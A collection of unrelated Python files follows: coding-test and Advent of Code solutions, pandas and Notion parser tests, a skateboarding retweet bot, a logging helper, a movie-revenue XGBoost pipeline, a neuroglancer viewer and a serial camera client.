import sys
input = sys.stdin.readline
array=[]

dx=[-1,0,1,0]
dy=[0,1,0,-1]
n, m=map(int, input().split())
r,c,d = map(int, input().split())

for _ in range(n):
    array.append(list(map(int, input().split())))

array[r][c]=-1
answer=1

while array[r][c]!=1:
    #네 구역에 청소 가능한 곳이 있는지 없는지 확인
    flag= False
    for _ in range(4):
        d-=1
        if d==-1:
            d=3
        nr = r+dx[d]
        nc = c+dy[d]

        if array[nr][nc]==0:
            r=nr
            c=nc
            array[r][c]=-1
            answer+=1
            flag=True
            break

    if not flag:
        r+=dx[d-2]
        c+=dy[d-2]

print(answer)
# 정리할 것: 후진 어떻게 구현? -> r+=dx[d-2] // c+=dy[d-2]
# 방향 % (음수) 이렇게 하면 될까? 나누기 이용 혹은 초기화 !
# If 문의 순서 ! -> flag를 사용하는 로직이 맞음 !
# 꼭 bfs로 구현하지 않아도 된다 ! 그냥 while문으로 돌아도 된다 !


import unittest
import numpy as np
import pandas as pd

class MissingDataTest(unittest.TestCase):

    def setUp(self):
        dictionary = {'A':[1,2,np.nan], 'B':[5,np.nan,np.nan], 'C':[1,2,3]}
        self.data_frame = pd.DataFrame(dictionary)

    def test_drop_rows_with_missing_values(self):
        data_frame = self.data_frame.dropna()
        total_rows = len(data_frame.index)
        self.assertEqual(1, total_rows)

    def test_fill_missing_values(self):
        data_frame = self.data_frame.fillna(value = 'FILL VALUE')
        total_rows = len(data_frame.index)

        last_row = data_frame.loc[2]
        self.assertEqual(3, total_rows)
        self.assertEqual('FILL VALUE', last_row['A'])
        self.assertEqual('FILL VALUE', last_row['B'])
        self.assertEqual(3, last_row['C'])

    def test_fill_missing_values_with_mean(self):
        data_frame = self.data_frame['A'].fillna(value=self.data_frame['A'].mean())
        total_rows = len(data_frame.index)
        self.assertEqual(3, total_rows)
        self.assertEqual(1, data_frame.loc[0])
        self.assertEqual(2, data_frame.loc[1])
        self.assertEqual(1.5, data_frame.loc[2])


import os
from os import environ
import tweepy

def auth():

    consumer_key = environ["CONSUMER_KEY"]
    consumer_secret = environ["CONSUMER_SECRET"]

    access_token = environ["ACCESS_TOKEN"]
    access_token_secret = environ["ACESS_TOKEN_SECRET"]

    auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
    auth.set_access_token(access_token, access_token_secret)

    api = tweepy.API(auth)
    return api,auth

from tweepy.streaming import StreamListener
import time
import json

class MyStreamListener(tweepy.StreamListener):

    def on_data(self, data):

        tweet = json.loads(data)
        id_tweet = tweet["id_str"]

        if not tweet["text"].startswith("@") and not tweet["is_quote_status"] and not tweet["text"].startswith("RT @"):
            api.retweet(id_tweet)

api, auth = auth()

myStreamListener = MyStreamListener()
myStream = tweepy.Stream(auth = api.auth, listener = myStreamListener)

myStream.filter(track = ["skateboard", "skate", "skateur", "skates", "skater", "kickflip", "heelflip", "shov it", "skatos", "skateshop", "skatepark", "@aureliengiraud", "@Lask8boarderie", "@josephgarbaccio", "@redbullskate", "@biomeskateboard", "@rockslideshop", "@EDYNEclothing", "@vansskate", "@BrailleSkate"], languages=["fr"])


import json
import logging
from os import environ
from dotenv import load_dotenv

class AppLog:

    def __init__(self):

        self.log_obj = logging.getLogger(environ.get('APP_NAME'))
        self.log_obj.setLevel(environ.get('LOG_LEVEL'))

        custom_format = '{'\
                            '"appname" : "%(name)s",'\
                            '"loglevel": "%(levelname)s",'\
                            '"message": "%(message)s"'\
                        '}'

        fh = logging.FileHandler(environ.get('LOG_FILE'))
        fh.setLevel(environ.get('LOG_LEVEL'))

        ch = logging.StreamHandler()
        ch.setLevel(environ.get('LOG_LEVEL'))

        #formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
        formatter = logging.Formatter(str(custom_format))
        fh.setFormatter(formatter)
        ch.setFormatter(formatter)

        self.log_obj.addHandler(ch)
        self.log_obj.addHandler(fh)

    def info(self, msg):
        message = msg
        self.log_obj.info(message)

    def error(self, msg):
        message = msg
        self.log_obj.error(message)

    def debug(self, msg):
        message = msg
        self.log_obj.debug(message)

load_dotenv()

log = AppLog()


import pytest

from courses.notion import parse_properties

@pytest.mark.parametrize(
    "input_data, expected",
    [
        (
                {"id": {"type": "id", "id": "some_id"}},
                {"id": "some_id"},
        ),
        (
                {"title_field_name": {"type": "title", "title": [{"type": "text", "text": {"content": "content_value"}, "plain_text": "plain_text_value"}]}},
                {"title_field_name": "plain_text_value"},
        ),
        (
                {"select_field_name": {"type": "select", "select": {"id": "123456", "name": "select_value"}}},
                {"select_field_name": "select_value"},
        ),
        (
                {"multi_select_field_name": {
                    "type": "multi_select",
                    "multi_select": [
                        {"id": "123", "name": "multi_select_value_1"},
                        {"id": "456", "name": "multi_select_value_2"},
                    ],
                }},
                {"multi_select_field_name": ["multi_select_value_1", "multi_select_value_2"]},
        ),
        (
                {"formula_field_name": {
                    "type": "formula",
                    "formula": {
                        "type": "number",
                        "number": 123456
                    }
                }},
                {"formula_field_name": 123456},
        ),
        (
                {"number_field_name": {
                    "type": "number",
                    "number": "None"
                }},
                {"number_field_name": None},
        ),
        (
                {"number_field_name": {
                    "type": "number",
                    "number": 123
                }},
                {"number_field_name": 123},
        ),
        (
                {"rich_text_field_name": {
                    'type': 'rich_text',
                    'rich_text': [
                        {
                            'type': 'text',
                            'text': {
                                'content': 'content_value',
                            },
                            'plain_text': 'plain_text_value',
                        }
                    ]
                }},
                {"rich_text_field_name": "plain_text_value"},
        ),
        (
                {"url_field_name": {
                    "type": "url",
                    "url": "https://eduson.academy"
                }},
                {"url_field_name": "https://eduson.academy"},
        ),
        (
                {"checkbox_field_name": {'checkbox': True, 'type': 'checkbox'}},
                {"checkbox_field_name": True},
        ),
        (
                {"relation_field_name": {
                    'type': 'relation',
                    'relation': [
                        {'id': 'id1'},
                        {'id': 'id2'}
                    ],
                }},
                {"relation_field_name": ["id1", "id2"]},
        ),
    ]
)
def test_parse_properties(input_data, expected):
    result = parse_properties(input_data)
    assert result == expected


class TreeNode:
   def __init__(self, data, left = None, right = None):
      self.data = data
      self.left = left
      self.right = right
def insert(temp,data):
   que = []
   que.append(temp)
   while (len(que)):
      temp = que[0]
      que.pop(0)
      if (not temp.left):
         if data is not None:
            temp.left = TreeNode(data)
         else:
            temp.left = TreeNode(0)
         break
      else:
         que.append(temp.left)
      if (not temp.right):
         if data is not None:
            temp.right = TreeNode(data)
         else:
            temp.right = TreeNode(0)
         break
      else:
         que.append(temp.right)
def make_tree(elements):
   Tree = TreeNode(elements[0])
   for element in elements[1:]:
      insert(Tree, element)
   return Tree
class Solution(object):
   def postorderTraversal(self, root):
      if not root:
         return []
      res = []
      stack = [[root,0]]
      while stack:
         node = stack[-1]
         stack.pop()
         if node[1]== 0 :
            current = node[0]
            stack.append([current,1])
            if current.right:
               stack.append([current.right,0])
            if current.left:
               stack.append([current.left,0])
         else:
            if node[0].data != 0:
               res.append(node[0].data)
      return res

ob = Solution()
root = make_tree([-10,9,10,None,None,15,7])
print(ob.postorderTraversal(root))


class House:
    # 매물 초기화
    def __init__(self, location, house_type, deal_type, price, completion_year):
        self.location = location
        self.house_type = house_type
        self.deal_type = deal_type
        self.price = price
        self.completion_year = completion_year

    def show_detail(self):
        print("--------------------------------")
        print("location : {}\nhouse_type : {}\ndeal_type : {}\nprice : {}\ncompletion_year : {}"\
        .format(self.location, self.house_type, self.deal_type, self.price, self.completion_year))

houses = []

trapellis = House("gangnam", "Apart", "매매", "10억", "2010년")

mapo_hi = House("mapo", "office_tel", "전세", "5억", "2007년")

songpasbil = House("songpa", "billa", "월세", "500/50", "2000년")

houses.extend([trapellis,mapo_hi,songpasbil])

print("총 {}대의 매물이 있습니다.".format(len(houses)))
for house in houses:
    house.show_detail()


from itertools import permutations

def solution(n, weak, dist):
    #최소값 비교를 위해 9 할당
    answer = 9

    #반시계 방향 회전을 고려하기 위해 길이를 두 배로 늘려 일자 리스트로 구성
    length = len(weak)
    for i in range(length):
        weak.append(weak[i]+n)

    #친구 투입 경우의 수(순열)
    dist_perm = list(permutations(dist, len(dist)))

    #시작 포인트
    for start in range(length):
        #경우의 수마다 계산
        for dp in dist_perm:
            #투입하는 친구 수
            cnt = 1
            #투입한 사람의 마지막 위치
            end = weak[start] + dp[cnt-1]
            #모든 취약점이 도는지 확인
            for i in range(start, start+length):
                #마지막 위치가 취약점 위치보다 낮을 경우 친구 한 명 추가 투입
                if end < weak[i]:
                    cnt += 1
                    #투입할 수 있는 친구가 없다면 다음 경우의 수로 이동
                    if cnt > len(dist):
                        break
                    #다음 투입한 사람의 마지막 위치 계산
                    end = weak[i] + dp[cnt-1]
            #기존의 답보다 더 적은 인원을 투입했다면 answer값 변경
            answer = min(answer, cnt)

    #반복문 종료 후 answer가 투입 가능한 사람보다 클 경우 답 없음(-1) 리턴
    if answer > len(dist):
        return -1

    return answer


from collections import deque
from functools import reduce

from adventlib import *

DAY = 14

def knot(s):
    vals = [17, 31, 73, 47, 23]

    insn = [ord(i) for i in s] + vals
    skip = 0
    begin = 0
    lst = list(range(256))
    for rnd in range(64):
        for size in insn:
            sub = [0] * size
            for i in range(size):
                sub[i] = lst[(begin + i) % 256]
            sub = list(reversed(sub))
            for i, e in enumerate(sub):
                lst[(begin + i) % 256] = e
            begin += size + skip
            skip += 1

    sp = []
    for i in range(16):
        sp.append(reduce(lambda a, b: a ^ b, lst[i * 16 + 1: i * 16 + 16], lst[i * 16]))
    return sp

def p_add(a, b):
    return (a[0] + b[0], a[1] + b[1])

def main():
    inp = store_input(DAY)
    if inp is None:
        return
    inp = inp.rstrip("\n")
    used = 0
    m = {}
    s = set()

    for i in range(128):
        h = knot(inp + "-" + str(i))
        for j, e in enumerate(h):
            for jj in range(8):
                if e & 1 == 1:
                    m[(i, 8 * j + 7 - jj)] = 1
                    s.add((i, (8 * j + 7 - jj)))
                else:
                    m[(i, 8 * j + 7 - jj)] = 0
                e >>= 1

    def accessible(p):
        return m.get(p, 0) == 1

    def neighbors(curr):
        for neighbor in [(0, 1), (0, -1), (1, 0), (-1, 0)]:
            p = p_add(curr, neighbor)
            if accessible(p):
                yield p

    grps = 0
    while s:
        grps += 1
        st = s.pop()
        queue = deque([st])
        while queue:
            c = queue.popleft()
            for n in neighbors(c):
                if n in s:
                    s.remove(n)
                    queue.append(n)

    print(grps)

if __name__ == '__main__':
    main()


from math import gcd
total = 0
for d in range(4,12001):
 i = d//3 + 1
 while i * 2 < d:
  if gcd(i,d) == 1:
     total += 1
     #print(i,d)
     #input()
  i += 1
print(total)


#PART TWO: https://adventofcode.com/2021/day/4
#DATE: 04/12/2020
#ANSWER: 4624

import numpy as np

def detect_row(board) -> bool:
    """Check if the board has one complete row"""
    for j in range(5):
        row = board[j,:]
        if(not 0 in row):
            return True
    return False

def detect_column(board) -> bool:
    """Check if the board has one complete column"""
    for i in range(5):
        column = board[:,i]
        if(not 0 in column):
            return True
    return False

def is_board_winning(board) -> bool:
    """Check if a board is winning (at least one complete row or column)"""
    if(detect_column(board)):
        return True
    if (detect_row(board)):
        return True
    return False

def calculate_board_score(board, marked_board) -> int:
    """Calculate the board score using the remaining values"""
    buffer = board.copy()
    for j in range(board.shape[0]):
        for i in range(board.shape[1]):
            if (marked_board[j, i] == 1):
                buffer[j, i] = 0
    return buffer.sum()

def board_already_won(winning_boards, board_index) -> bool:
    """Check if a board is already in the winning boards list"""
    for l in winning_boards:
        if(l[0] == board_index):
            return True
    return False

def get_bingo_sequence():
    """Read the first line from the input file"""
    with open("day-4.in","r") as file:
        sequence = file.readline()

    sequence = sequence.rstrip().split(",")
    sequence = [int(i) for i in sequence]
    return sequence

sequence = get_bingo_sequence()

with open("day-4.in", "r") as file:
    x = file.readlines()

inline_grids = x[x.index("\n")::]

for i, r in enumerate(inline_grids):
    r = r.replace("\n", "")
    inline_grids[i] = r

boards = []
grid = []
for r in inline_grids:
    if(r == ""):
        boards.append(np.matrix(grid, int))
        grid = []
    else:
        row = [int(i) for i in r.split()]
        grid.append(row)

boards.remove(boards[0])
for g in boards:
    if(len(g) == 0):
        boards.remove(g)

marked_boards = []
shape = (5, 5)
for i in range(len(boards)):
    marked_boards.append(np.zeros(shape, int))

# Winning boards list ([board index, turn when win happens])
winning_boards = []

for turn, n in enumerate(sequence):
    for b in range(len(boards)):
        if(board_already_won(winning_boards, b)):
            continue
        if(n in boards[b]):
            y, x = np.where(boards[b] == n)
            if(len(y) == 0 and len(x) == 0):
                continue
            marked_boards[b][y, x] = 1

    for c, m in enumerate(marked_boards):
        if( board_already_won(winning_boards, c)):
            continue
        elif(is_board_winning(m)):
            winning_boards.append([c, turn])

# Reverse sort winning boards list using turn as a sorting key
k = lambda x:x[1]
winning_boards.sort(key=k, reverse=True)

last_winning_board = winning_boards[0]
last_winning_board_index = last_winning_board[0]
turn = last_winning_board[1]

score = calculate_board_score(
    boards[last_winning_board_index],
    marked_boards[last_winning_board_index]
)

print(score * sequence[turn])


#!/usr/bin/env python3
import argparse
import sys

import numpy as np
import sklearn.metrics
import sklearn.neural_network

parser = argparse.ArgumentParser()
# These arguments will be set appropriately by ReCodEx, even if you change them.
parser.add_argument("--batch_size", default=1, type=int, help="Batch size")
parser.add_argument("--data_size", default=50, type=int, help="Data size")
parser.add_argument("--kernel", default="rbf", type=str, help="Kernel type [poly|rbf]")
parser.add_argument("--kernel_degree", default=3, type=int, help="Degree for poly kernel")
parser.add_argument("--kernel_gamma", default=1.0, type=float, help="Gamma for poly and rbf kernel")
parser.add_argument("--iterations", default=200, type=int, help="Number of training iterations")
parser.add_argument("--l2", default=0.0, type=float, help="L2 regularization weight")
parser.add_argument("--learning_rate", default=0.01, type=float, help="Learning rate")
parser.add_argument("--plot", default=False, const=True, nargs="?", type=str, help="Plot the predictions")
parser.add_argument("--recodex", default=False, action="store_true", help="Running in ReCodEx")
parser.add_argument("--seed", default=42, type=int, help="Random seed")
# If you add more arguments, ReCodEx will keep them with your default values.
parser.add_argument("--nn_reference", default=False, action="store_true", help="Show NN solution too")

def main(args):
    # Create a random generator with a given seed
    generator = np.random.RandomState(args.seed)

    # Generate an artifical regression dataset
    train_data = np.linspace(-1, 1, args.data_size)
    train_target = np.sin(5 * train_data) + generator.normal(scale=0.25, size=args.data_size) + 1

    test_data = np.linspace(-1.2, 1.2, 2 * args.data_size)
    test_target = np.sin(5 * test_data) + 1

    betas = np.zeros(args.data_size)

    # TODO: Perform `args.iterations` of SGD-like updates, but in dual formulation
    # using `betas` as weights of individual training examples.
    #
    # We assume the primary formulation of our model is
    #   y = phi(x)^T w + bias
    # and the loss in the primary problem is batched MSE with L2 regularization:
    #   L = sum_{i \in B} 1/|B| * [1/2 * (phi(x_i)^T w + bias - target_i)^2] + 1/2 * args.l2 * w^2
    #
    # For `bias`, use explicitly the average of the training targets, and do
    # not update it futher during training.
    #
    # Instead of using feature map `phi` directly, we use a given kernel computing
    #   K(x, y) = phi(x)^T phi(y)
    # We consider the following `args.kernel`s:
    # - "poly": K(x, y; degree, gamma) = (gamma * x^T y + 1) ^ degree
    # - "rbf": K(x, y; gamma) = exp^{- gamma * ||x - y||^2}
    #
    # After each iteration, compute RMSE both on training and testing data.
    train_rmses, test_rmses = [], []

    bias = np.mean(train_target)

    def kernel(x, y):
        if args.kernel == "poly":
            return (args.kernel_gamma * x * y + 1) ** args.kernel_degree
        if args.kernel == "rbf":
            return np.exp(-args.kernel_gamma * ((x - y) ** 2))

    K = np.array([[kernel(x, y) for x in train_data] for y in train_data])
    Ktest = np.array([[kernel(x, y) for x in train_data] for y in test_data])
    for iteration in range(args.iterations):
        permutation = generator.permutation(train_data.shape[0])

        # TODO: Process the data in the order of `permutation`, performing
        # batched updates to the `betas`. You can assume that `args.batch_size`
        # exactly divides `train_data.shape[0]`.
        for index in range(0, len(permutation), args.batch_size):
            batch = permutation[index:index + args.batch_size]
            assert len(batch) == args.batch_size

            betas[batch] -= args.learning_rate / args.batch_size * (K[batch] @ betas + bias - train_target[batch])
            betas -= args.learning_rate * args.l2 * betas

        # TODO: Append RMSE on training and testing data to `train_rmses` and
        # `test_rmses` after the iteration.
        train_rmses.append(sklearn.metrics.mean_squared_error(train_target, K @ betas + bias, squared=False))
        test_rmses.append(sklearn.metrics.mean_squared_error(test_target, Ktest @ betas + bias, squared=False))

        if (iteration + 1) % 10 == 0:
            print("Iteration {}, train RMSE {:.2f}, test RMSE {:.2f}".format(
                iteration + 1, train_rmses[-1], test_rmses[-1]))

    if args.plot:
        import matplotlib.pyplot as plt
        # If you want the plotting to work (not required for ReCodEx), compute the `test_predictions`.
        test_predictions = Ktest @ betas + bias

        plt.plot(train_data, train_target, "bo", label="Train target")
        plt.plot(test_data, test_target, "ro", label="Test target")
        plt.plot(test_data, test_predictions, "g-", label="Predictions")
        plt.legend()
        if args.nn_reference:
            for params in [{"activation": "tanh"}, {"activation": "relu"}]:
                plt.figure()
                mlp = sklearn.neural_network.MLPRegressor(hidden_layer_sizes=(500,), solver="lbfgs", alpha=0, max_iter=2000, **params).fit(np.expand_dims(train_data, -1), train_target)
                plt.plot(train_data, train_target, "bo", label="Train target")
                plt.plot(test_data, test_target, "ro", label="Test target")
                plt.plot(test_data, mlp.predict(np.expand_dims(test_data, -1)), "g-", label="Predictions")
                plt.legend()
        if args.plot is True: plt.show()
        else: plt.savefig(args.plot, transparent=True, bbox_inches="tight")

    return train_rmses, test_rmses

if __name__ == "__main__":
    args = parser.parse_args([] if "__file__" not in globals() else None)
    main(args)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from CinePred.data.importing import import_data
from CinePred.data.preprocessing import *
from CinePred.data.featuring import *
from CinePred.data.transformers import GenreOHE
from google.cloud import storage

from sklearn.model_selection import cross_val_score, GridSearchCV
from xgboost import XGBRegressor, plot_importance
import numpy as np
from joblib import dump, load

def preproc(df, path="gs://wagon-data-722-cinepred/data/cat_acteur.csv"):
    '''
        Clean the dataframe

        Input: dataframe
        Output: dataframe cleaned and sorted by budget
    '''
    # NA & columns:
    df = add_success_movies_per_actors(df, path=path)
    df = add_number_of_movies_actor1_in_Timeline(df, path=path)
    df = add_number_of_movies_actor2_in_Timeline(df, path=path)
    df = add_number_of_movies_actor3_in_Timeline(df, path=path)
    df = add_total_income_of_last_movie_of_actors_in_Timeline(df, path=path)

    df = keep_columns(df,
                      column_names=[
                          'worlwide_gross_income', 'year', 'date_published',
                          'genre', 'duration', 'budget', 'production_company',
                          'director', 'writer', 'shifted', 'nb_movies_actor1',
                          'nb_movies_actor2', 'nb_movies_actor3',
                          'last income', 'imdb_title_id','actors',
                          'description','avg_vote','country','title'
                      ])
    df = remove_na_rows(df)

    # date_published
    df['date_published'] = convert_to_date(df[['date_published']])

    # day of the year
    df['date_sin'] = add_sin_features(df[['date_published']])
    df['date_cos'] = add_cos_features(df[['date_published']])
    df.drop(columns='date_published', inplace=True)

    # year, duration
    df['year'] = convert_to_int(df[['year']])
    df['duration'] = convert_to_int(df[['duration']])

    # genre
    ohe = GenreOHE()
    ohe.fit(df) # la colonne 'genre' est spécifié dans la classe
    df = ohe.transform(df)

    # budget
    df['budget'] = convert_budget_column(df[['budget']])
    df = df[df['budget'] > 100]
    df = add_inflation(df, 'budget')
    df['budget'] = log_transformation(df[['budget']])

    # income
    df['worlwide_gross_income'] = convert_income(df[['worlwide_gross_income']])
    df = add_inflation(df, 'worlwide_gross_income')
    df['worlwide_gross_income'] = log_transformation(df[['worlwide_gross_income']])

    # Cumsum
    df = Add_Ones(df)
    df = Add_number_of_movies_per_prod_company_in_Timeline(df)
    df = Add_number_of_movies_per_directors_in_Timeline(df)
    df = Add_number_of_movies_per_writer_in_Timeline(df)
    df = Remove_Ones(df)

    # sort & index:
    df.sort_values('budget', inplace=True)
    df.reset_index(inplace=True)
    df.drop(columns=['index'], inplace=True)

    return df

def feature_importance(df):
    X = df.drop(columns=['worlwide_gross_income'])
    y = df['worlwide_gross_income']
    model = XGBRegressor(learning_rate=0.1, max_depth=2)
    model.fit(X, y)
    print(model.feature_importances_)
    plot_importance(model)

def preproc_demoday(df, path = "gs://wagon-data-722-cinepred/data/cat_acteur.csv"):
    # df = add_success_movies_per_actors(df, path=path)
    # df = add_number_of_movies_actor1_in_Timeline(df, path=path)
    # df = add_number_of_movies_actor2_in_Timeline(df, path=path)
    # df = add_number_of_movies_actor3_in_Timeline(df, path=path)
    # df = add_total_income_of_last_movie_of_actors_in_Timeline(df, path=path)

    # df = remove_na_rows(df)

    # df['date_published'] = convert_to_date(df[['date_published']])

    # # day of the year
    # df['date_sin'] = add_sin_features(df[['date_published']])
    # df['date_cos'] = add_cos_features(df[['date_published']])
    # df.drop(columns='date_published', inplace=True)

    # year, duration
    # df['year'] = convert_to_int(df[['year']])
    # df['duration'] = convert_to_int(df[['duration']])

    # genre
    # ohe = GenreOHE()
    # ohe.fit(df) # la colonne 'genre' est spécifié dans la classe
    # df = ohe.transform(df)

    # budget
    # df['budget'] = convert_budget_column(df[['budget']])
    # df = df[df['budget'] > 100]
    # df = add_inflation(df, 'budget')
    df['budget'] = log_transformation(df[['budget']])

    # # income
    # df['worlwide_gross_income'] = convert_income(df[['worlwide_gross_income']])
    # df = add_inflation(df, 'worlwide_gross_income')
    # df['worlwide_gross_income'] = log_transformation(df[['worlwide_gross_income']])

    # Cumsum
    # df = Add_Ones(df)
    # df = Add_number_of_movies_per_prod_company_in_Timeline(df)
    # df = Add_number_of_movies_per_directors_in_Timeline(df)
    # df = Add_number_of_movies_per_writer_in_Timeline(df)
    # df = Remove_Ones(df)

    # sort & index:
    # df.sort_values('budget', inplace=True)
    # df.reset_index(inplace=True)
    # df.drop(columns=['index'], inplace=True)

    return df

def get_best_params(model, X, y):
    # Inspect all pipe components parameters to find the one you want to gridsearch
    # Instanciate grid search
    grid_search = GridSearchCV(
        model,
        param_grid={
            # Access any component of the pipeline, as far back as you want
            'learning_rate': [0.01, 0.1],
            'n_estimators': [100, 200, 300],
            'max_depth': [2]
        },
        cv=5,
        scoring="neg_mean_absolute_error",
        verbose=2)

    grid_search.fit(X, y)
    return grid_search.best_params_

def get_mae(df):
    X = df.drop(columns=['worlwide_gross_income'])
    y = df['worlwide_gross_income']
    model = XGBRegressor(learning_rate=0.1, max_depth=2)

    return cross_val_score(model, X, y, cv=5, scoring='neg_mean_absolute_error')

def predict(df):
    '''
        Input: a preprocessed df
        Output: 2 scores MAE scores '''

    mid = int(len(df) / 2)
    df1 = df.iloc[:mid].copy()
    df2 = df.iloc[mid:].copy()

    score1 = np.mean(np.abs(get_mae(df1))) # {'learning_rate': 0.1, 'max_depth': 2, 'n_estimators': 200}
    score2 = np.mean(np.abs(get_mae(df2))) # {'learning_rate': 0.1, 'max_depth': 2, 'n_estimators': 300}
    return [round(score1, 3), round(score2, 3)]

def predict2(df):
    ''' Get the mae on the full dataset (crossvalidated) '''

    score = np.abs(get_mae(df))  # {'learning_rate': 0.1, 'max_depth': 2, 'n_estimators': 300}
    score = round(np.mean(score),2)
    return(score)

def predict_fromX(model, df):
    prediction = model.predict(df)
    return 10 ** prediction[0]

def save_model(fitted_model, file_name="model.joblib"):
    dirname = os.path.dirname(__file__)
    filepath = os.path.join(dirname, 'models/'+file_name)
    dump(fitted_model, filepath)

def load_model(file_name="model.joblib"):
    #dirname = os.path.dirname(__file__)
    #filepath = os.path.join(dirname, 'models/'+file_name)

    # filepath = 'gs://wagon-data-722-cinepred/model/' + file_name

    BUCKET_NAME = "wagon-data-722-cinepred"
    storage_filename = 'model/model.joblib'
    local_filename = "model.joblib"

    client = storage.Client()
    bucket = client.bucket(BUCKET_NAME)
    blob = bucket.blob(storage_filename)
    blob.download_to_filename(local_filename)

    return load(local_filename)

def get_fitted_model(df):
    # Select only film with most income
    mid = int(len(df) / 2)
    df1 = df.iloc[:mid].copy()
    df2 = df.iloc[mid:].copy()

    # Create X and y
    X = df2.drop(columns=['worlwide_gross_income'])
    y = df2['worlwide_gross_income']
    model = XGBRegressor(learning_rate=0.1, max_depth=2)
    model.fit(X,y)

    score = cross_val_score(model, X, y, cv=5, scoring='neg_mean_absolute_error')
    print(f'mae = {round(np.mean(np.abs(score)),2)}')
    return model

if __name__ == '__main__':
    # Import
    print("----- IMPORT DATA ------")
    #df = import_data(link = 'gs://wagon-data-722-cinepred/data/IMDb_movies.csv')
    #df_preproc = preproc(df)
    df_preproc = import_data(link='gs://wagon-data-722-cinepred/data/preprocessed.csv')

    # Prepare
    print("----- CLEAN DATA ------")
    df_preproc = df_preproc.drop(columns=['production_company', 'director', 'writer'])
    df_preproc = df_preproc.drop(columns=['imdb_title_id','actors','description','avg_vote','country','title'])

    # Predict
    print("----- PREDICT DATA ------")
    #print(predict(df_preproc))

    print("----- GET FITTED MODEL ------")
    model = get_fitted_model(df_preproc)

    print("----- SAVE MODEL ------")
    save_model(model, "model.joblib")

    print("----- LOAD MODEL ------")
    model = load_model("model.joblib")

    print("----- PREDICT MODEL ------")
    prediction = predict_fromX(
        model,df_preproc.head(1).drop(columns=['worlwide_gross_income']))
    print(prediction)
    #print(predict(df))
    #print(predict2(df))
    #get_mae(df)


import neuroglancer
import sys
from pathlib import Path

from neuroglancer2 import add_container, add_dacapo_snapshot

neuroglancer.set_server_bind_address("0.0.0.0")

if __name__ == "__main__":
    args = sys.argv[1:]
    snapshot_file = args[0]

    voxel_size = [4, 4, 4]

    dimensions = neuroglancer.CoordinateSpace(
        names=["z", "y", "x"], units="nm", scales=voxel_size
    )

    snapshot_files = snapshot_file.split(",")

    viewer = neuroglancer.Viewer()
    viewer.dimensions = dimensions

    with viewer.txn() as s:
        for snapshot_file in snapshot_files:
            path = snapshot_file.split("/")
            if path[-2] == "snapshots":
                add_dacapo_snapshot(s, Path(snapshot_file))
            else:
                add_container(s, Path(snapshot_file))

    print(viewer)
    input("Hit ENTER to quit!")


import drivers.rpc as rpc, serial, serial.tools.list_ports, struct, sys, time, json
from operator import itemgetter
from datetime import datetime
from math import sqrt, pow

def connect_usb():
    print("\nAvailable Ports:\n")
    for port, desc, hwid in serial.tools.list_ports.comports():
        print("{} : {} [{}]".format(port, desc, hwid))
    interface = rpc.rpc_usb_vcp_master(port='COM5')
    print("")
    sys.stdout.flush()
    return interface

def sort_by_pos(params):
    params.sort(key=lambda coord: (sqrt(pow(coord[0],2) + pow(coord[1],2)), coord[1]))
    return params

def calculate_ratio(params_dict):
    c1x, c1y = params_dict['circle1_pos']
    c2x, c2y = params_dict['circle2_pos']
    c3x, c3y = params_dict['circle3_pos']
    c4x, c4y = params_dict['circle4_pos']
    print(c1x, c1y, c2x, c2y, c3x, c3y, c4x, c4y)
    pix_per_mm_ratio = ((c3x - c1x) + (c2y - c1y) + (c4x - c2x) +
                        (c4y - c3y)) / (4 * 120)
    return pix_per_mm_ratio

def calculate_platform_center(params_dict):
    c1x, c1y = params_dict['circle1_pos']
    c2x, c2y = params_dict['circle2_pos']
    c3x, c3y = params_dict['circle3_pos']
    c4x, c4y = params_dict['circle4_pos']
    half_len_x = ((c3x - c1x) + (c4x - c2x)) / 4
    half_len_y = ((c2y - c1y) + (c4y - c3y)) / 4
    center_x = ((c1x + c2x) / 2) + half_len_x
    center_y = ((c1y + c3y) / 2) + half_len_y
    return ([center_x, center_y])

def calculate_relative_rect_pos(params_dict):
    rect_cx, rect_cy = params_dict['rect_pos']
    center_x, center_y = params_dict['platform_center']
    pix_per_mm = params_dict['pixel_per_mm_ratio']
    rel_x = (rect_cx - center_x)/pix_per_mm
    rel_y = (rect_cy - center_y)/pix_per_mm
    return ([rel_x, rel_y])

def dict_dumper(params):
    buff = {
        'timestamp': params[0],
        'rect_pos': [params[1], params[2]]}
    pos_list = [[params[3], params[4]], [params[5], params[6]], [params[7], params[8]], [params[9], params[10]]]
    sorted_list = sort_by_pos(pos_list)
    buff['circle1_pos'] = sorted_list[0]
    buff['circle2_pos'] = sorted_list[1]
    buff['circle3_pos'] = sorted_list[2]
    buff['circle4_pos'] = sorted_list[3]
    buff['pixel_per_mm_ratio'] = calculate_ratio(buff)
    buff['platform_center'] = calculate_platform_center(buff)
    buff['relative_rect_pos'] = calculate_relative_rect_pos(buff)
    print(buff)
    return(buff)

def exe_watcher(interface):
    time_stamp_s = int(datetime.now().strftime('%S'))
    time_stamp_m = int(datetime.now().strftime('%M'))
    print('Sent %d %d' % (time_stamp_s, time_stamp_m))
    result = interface.call("watcher", struct.pack('<II', time_stamp_s, time_stamp_m))
    if result is not None and len(result):
        print("Checksum [A=%d, B=%d]" % struct.unpack("<II", result))

def exe_find_rectangle(interface):
    time_stamp = int(datetime.now().strftime('%H%M%S'))
    time_stamp_packed = struct.pack('<II', time_stamp, 1)
    result = interface.call("find_rectangle", time_stamp_packed)
    if result is None:
        print('None')
    if result is not None:
        print(len(result))
        params = struct.unpack("<IIIIIIIIIII", result)
        if params[0] != 0:
            return(dict_dumper(params))
        else:
            return False

def make_shot():
    interface = connect_usb()
    time_stamp = int(datetime.now().strftime('%H%M%S'))
    result = interface.call("make_shot", struct.pack('<II', time_stamp, 1))
    time.sleep(1)
    try:
        exe_restart(interface)
    except Exception:
        print('Camera has been rebooted')
        time.sleep(5)

def exe_restart(interface):
    interface.call("restart")
    interface = connect_usb()

def shot_series(interface, n_shots=3):
    data = {}
    for i in range(n_shots):
        exe_watcher(interface)
        while True:
            result = exe_find_rectangle(interface)
            if result:
                break
        data[f'Shot {i+1}'] = result
        print(f'Stage {i+1} has been completed\n')
        time.sleep(1)
    print(data)
    return(data)

def connect_to_camera(shots):
    time.sleep(2)
    result = shot_series(interface, shots)
    time.sleep(1)
    try:
        exe_restart(interface)
    except Exception:
        print('Camera has been rebooted')
        time.sleep(5)
    return result

def connect_to_camera_wo_reboot(shots):
    time.sleep(2)
    result = shot_series(interface, shots)
    time.sleep(2)
    return result

interface = connect_usb()


